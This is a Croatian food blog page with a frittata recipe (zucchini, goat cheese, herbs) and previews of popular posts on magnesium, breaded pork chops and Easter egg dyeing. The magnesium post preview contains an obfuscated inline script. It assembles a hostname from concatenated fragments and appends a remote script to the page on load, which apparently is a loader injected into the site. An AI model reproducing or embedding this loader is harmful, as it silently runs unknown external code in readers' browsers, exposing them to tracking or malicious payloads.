FRITTATA S TIKVICAMA, KOZJIM SIROM I ZAČINSKIM BILJEM




Fritatta s tikvicama, kozjim sirom i začinskim biljem 



Kraj ljeta donosi onu posebnu situaciju u kuhinji kada još uvijek želimo lagana jela, ali nam salate polako prestaju biti dovoljne za večeru. Tikvice su tada još uvijek na svom vrhuncu, začinsko bilje raste punom snagom, a jednostavni recepti postaju najbolji način da iskoristimo ono što imamo pri ruci.




Fritatta s tikvicama, kozjim sirom i začin biljem 


Sastojci:

  • 6 jaja
  • 2 srednje tikvice
  • 100 g mekanog kozjeg sira
  • 1 manji ljubičasti luk
  • 1 češanj češnjaka
  • 2 žlice maslinova ulja
  • šaka svježeg peršina
  • nekoliko listova svježeg bosiljka
  • 1 žličica svježeg timijana
  • sol
  • svježe mljeveni crni papar



Priprema:

Tikvice operite i narežite na tanke polumjesece. Luk narežite na tanke trakice, a češnjak sitno nasjeckajte. U tavi koja može ići u pećnicu zagrijte maslinovo ulje pa dodajte luk. Pržite ga nekoliko minuta na srednjoj temperaturi, dok ne omekša. Dodajte tikvice i češnjak te nastavite pirjati još pet do šest minuta. Tikvice trebaju omekšati i lagano se zapeći, ali ne smiju se potpuno raspasti.

U međuvremenu umutite jaja sa soli i paprom. Dodajte nasjeckani peršin i timijan pa sve dobro promiješajte. Smanjite temperaturu i prelijte jaja preko tikvica. Lagano protresite tavu kako bi se smjesa ravnomjerno rasporedila. Pecite nekoliko minuta na štednjaku, dok se rubovi ne počnu stvrdnjavati, a sredina ostane još lagano tekuća.

Kozji sir natrgajte na manje komade i rasporedite po površini. Tavu zatim stavite u pećnicu zagrijanu na 190 °C i pecite oko 8 do 10 minuta, odnosno dok se jaja potpuno ne stisnu, a sir lagano ne zapeče. Na kraju dodajte listove svježeg bosiljka i još malo crnog papra.

Ako nemate kozji sir, možete ga zamijeniti fetom ili nekim drugim mekšim sirom izraženijeg okusa. Od začinskog bilja dobro će funkcionirati i vlasac ili kopar, pa recept bez problema možete prilagoditi onome što trenutno imate u hladnjaku.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više